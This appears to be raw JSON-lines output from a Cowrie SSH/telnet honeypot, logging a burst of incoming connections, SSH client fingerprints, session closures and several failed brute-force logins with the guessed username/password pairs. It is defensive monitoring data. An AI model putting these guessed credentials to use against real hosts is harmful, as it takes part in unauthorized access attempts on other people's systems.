{"eventid":"cowrie.session.closed","duration":30.52776265144348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:57.189453Z","src_ip":"68.178.160.252","session":"d2e67544fa4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2124605178833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:57.291585Z","src_ip":"107.155.66.219","session":"34c3fbb569bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:58.113802Z","src_ip":"156.227.233.77","session":"ca7d95dadd92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.926852703094482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:59.023253Z","src_ip":"107.155.66.219","session":"45824d5e77e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55644,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcf071b142cc","protocol":"telnet","message":"New connection: 107.155.66.219:55644 (159.203.135.109:23) [session: bcf071b142cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:59.100887Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55650,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c3eda4ca32c","protocol":"telnet","message":"New connection: 107.155.66.219:55650 (159.203.135.109:23) [session: 2c3eda4ca32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:59.107134Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vip123456","message":"login attempt [root/vip123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:59.835417Z","src_ip":"213.209.159.158","session":"a60021882945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47416,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e3843863f42","protocol":"ssh","message":"New connection: 159.203.92.129:47416 (159.203.135.109:22) [session: 5e3843863f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:59.874212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:59.879174Z","src_ip":"159.203.92.129","session":"5e3843863f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:59.884647Z","src_ip":"159.203.92.129","session":"5e3843863f42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"neobayneobay12#$","message":"login attempt [ansible/neobayneobay12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:59.895073Z","src_ip":"159.203.92.129","session":"5e3843863f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55666,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1e81e9a700","protocol":"telnet","message":"New connection: 107.155.66.219:55666 (159.203.135.109:23) [session: 2c1e81e9a700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:00.448983Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55674,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da1b5baf861","protocol":"telnet","message":"New connection: 107.155.66.219:55674 (159.203.135.109:23) [session: 5da1b5baf861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:00.916519Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:01.052569Z","src_ip":"159.203.92.129","session":"5e3843863f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55690,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b529463ec14","protocol":"telnet","message":"New connection: 107.155.66.219:55690 (159.203.135.109:23) [session: 8b529463ec14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:01.133165Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55706,"dst_ip":"159.203.135.109","dst_port":23,"session":"b47526085ae5","protocol":"telnet","message":"New connection: 107.155.66.219:55706 (159.203.135.109:23) [session: b47526085ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:01.213353Z"}
{"eventid":"cowrie.session.closed","duration":31.6096613407135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:01.486872Z","src_ip":"68.178.160.252","session":"05c25f95803d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:02.958518Z","src_ip":"213.209.159.158","session":"a60021882945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37332,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ee6d5f3707b","protocol":"ssh","message":"New connection: 213.209.159.158:37332 (159.203.135.109:22) [session: 3ee6d5f3707b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:03.039402Z"}
{"eventid":"cowrie.session.closed","duration":30.89312720298767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:03.045004Z","src_ip":"107.155.66.219","session":"fa9494ffc3c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95719003677368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:03.051507Z","src_ip":"107.155.66.219","session":"e91eb8d1fdc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55720,"dst_ip":"159.203.135.109","dst_port":23,"session":"a18a60db3842","protocol":"telnet","message":"New connection: 107.155.66.219:55720 (159.203.135.109:23) [session: a18a60db3842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:03.187505Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55736,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0e23760cb74","protocol":"telnet","message":"New connection: 107.155.66.219:55736 (159.203.135.109:23) [session: b0e23760cb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:03.288685Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55752,"dst_ip":"159.203.135.109","dst_port":23,"session":"97410b2e2d7d","protocol":"telnet","message":"New connection: 107.155.66.219:55752 (159.203.135.109:23) [session: 97410b2e2d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:03.954715Z"}
{"eventid":"cowrie.session.closed","duration":30.90841794013977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:04.018798Z","src_ip":"107.155.66.219","session":"ffcc67556c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695906162261963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:04.026335Z","src_ip":"107.155.66.219","session":"e3b44cddbe8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55712,"dst_ip":"159.203.135.109","dst_port":23,"session":"558b5bc8c6b7","protocol":"telnet","message":"New connection: 107.155.66.219:55712 (159.203.135.109:23) [session: 558b5bc8c6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:04.172529Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55760,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ba29cf15822","protocol":"telnet","message":"New connection: 107.155.66.219:55760 (159.203.135.109:23) [session: 9ba29cf15822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:04.218685Z"}
{"eventid":"cowrie.session.closed","duration":31.091421365737915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:05.084903Z","src_ip":"107.155.66.219","session":"510f10481559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55770,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b841503f8d3","protocol":"telnet","message":"New connection: 107.155.66.219:55770 (159.203.135.109:23) [session: 1b841503f8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:05.191391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:05.563709Z","src_ip":"213.209.159.158","session":"3ee6d5f3707b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:05.569235Z","src_ip":"213.209.159.158","session":"3ee6d5f3707b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":43060,"dst_ip":"159.203.135.109","dst_port":23,"session":"250d607d67bd","protocol":"telnet","message":"New connection: 68.178.160.252:43060 (159.203.135.109:23) [session: 250d607d67bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:05.639133Z"}
{"eventid":"cowrie.session.closed","duration":30.850400924682617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:06.025515Z","src_ip":"107.155.66.219","session":"8835ce298966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55018,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bc3ce0db73c","protocol":"telnet","message":"New connection: 107.155.66.219:55018 (159.203.135.109:23) [session: 2bc3ce0db73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:06.056184Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55020,"dst_ip":"159.203.135.109","dst_port":23,"session":"71566d61a6f3","protocol":"telnet","message":"New connection: 107.155.66.219:55020 (159.203.135.109:23) [session: 71566d61a6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:07.097856Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55036,"dst_ip":"159.203.135.109","dst_port":23,"session":"5361e2b3c157","protocol":"telnet","message":"New connection: 107.155.66.219:55036 (159.203.135.109:23) [session: 5361e2b3c157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:07.211017Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55042,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c51df1724f1","protocol":"telnet","message":"New connection: 107.155.66.219:55042 (159.203.135.109:23) [session: 0c51df1724f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:07.421683Z"}
{"eventid":"cowrie.session.closed","duration":30.879199504852295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:08.019910Z","src_ip":"107.155.66.219","session":"ea05397187e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55052,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ea131f00b0","protocol":"telnet","message":"New connection: 107.155.66.219:55052 (159.203.135.109:23) [session: 52ea131f00b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:08.106076Z"}
{"eventid":"cowrie.session.closed","duration":30.402770042419434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:12.092573Z","src_ip":"62.171.135.55","session":"5176488d1a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55064,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e1473311c01","protocol":"telnet","message":"New connection: 107.155.66.219:55064 (159.203.135.109:23) [session: 2e1473311c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:12.138992Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vs","message":"login attempt [root/Vs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:14.773527Z","src_ip":"213.209.159.158","session":"3ee6d5f3707b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.516690254211426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:15.082518Z","src_ip":"107.155.66.219","session":"a3dd9bae25fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55070,"dst_ip":"159.203.135.109","dst_port":23,"session":"74bcfb0eaec7","protocol":"telnet","message":"New connection: 107.155.66.219:55070 (159.203.135.109:23) [session: 74bcfb0eaec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:15.097857Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55080,"dst_ip":"159.203.135.109","dst_port":23,"session":"20c83d46893c","protocol":"telnet","message":"New connection: 107.155.66.219:55080 (159.203.135.109:23) [session: 20c83d46893c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:15.261304Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":46622,"dst_ip":"159.203.135.109","dst_port":23,"session":"59b5feff3593","protocol":"telnet","message":"New connection: 68.178.160.252:46622 (159.203.135.109:23) [session: 59b5feff3593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:15.508243Z"}
{"eventid":"cowrie.session.closed","duration":30.496216535568237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:18.026245Z","src_ip":"107.155.66.219","session":"022adffb8128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65823245048523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:18.063578Z","src_ip":"107.155.66.219","session":"126695fd41eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:18.370193Z","src_ip":"213.209.159.158","session":"3ee6d5f3707b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47898,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c7c8c13f6b4","protocol":"ssh","message":"New connection: 213.209.159.158:47898 (159.203.135.109:22) [session: 1c7c8c13f6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:18.452455Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48676,"dst_ip":"159.203.135.109","dst_port":23,"session":"dffcc093928c","protocol":"telnet","message":"New connection: 107.155.66.219:48676 (159.203.135.109:23) [session: dffcc093928c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:18.484731Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48682,"dst_ip":"159.203.135.109","dst_port":23,"session":"537ecd765d98","protocol":"telnet","message":"New connection: 107.155.66.219:48682 (159.203.135.109:23) [session: 537ecd765d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:18.823038Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48692,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aa9201efe64","protocol":"telnet","message":"New connection: 107.155.66.219:48692 (159.203.135.109:23) [session: 0aa9201efe64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:19.091267Z"}
{"eventid":"cowrie.session.closed","duration":30.78107237815857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:19.304684Z","src_ip":"68.178.160.252","session":"c145fde067fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83412218093872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:20.021637Z","src_ip":"107.155.66.219","session":"80d11a2fb2de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":48360,"dst_ip":"159.203.135.109","dst_port":23,"session":"9348ce462ac1","protocol":"telnet","message":"New connection: 68.178.160.252:48360 (159.203.135.109:23) [session: 9348ce462ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:20.082063Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48706,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b9960e9bb36","protocol":"telnet","message":"New connection: 107.155.66.219:48706 (159.203.135.109:23) [session: 7b9960e9bb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:20.114242Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48722,"dst_ip":"159.203.135.109","dst_port":23,"session":"c18b15a39432","protocol":"telnet","message":"New connection: 107.155.66.219:48722 (159.203.135.109:23) [session: c18b15a39432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:20.137309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:20.560925Z","src_ip":"213.209.159.158","session":"1c7c8c13f6b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:20.564492Z","src_ip":"213.209.159.158","session":"1c7c8c13f6b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48738,"dst_ip":"159.203.135.109","dst_port":23,"session":"bce3b4dad335","protocol":"telnet","message":"New connection: 107.155.66.219:48738 (159.203.135.109:23) [session: bce3b4dad335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:21.930178Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48748,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f9c85afe35","protocol":"telnet","message":"New connection: 107.155.66.219:48748 (159.203.135.109:23) [session: 47f9c85afe35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:22.380317Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48760,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f52a0a58e15","protocol":"telnet","message":"New connection: 107.155.66.219:48760 (159.203.135.109:23) [session: 1f52a0a58e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:23.116306Z"}
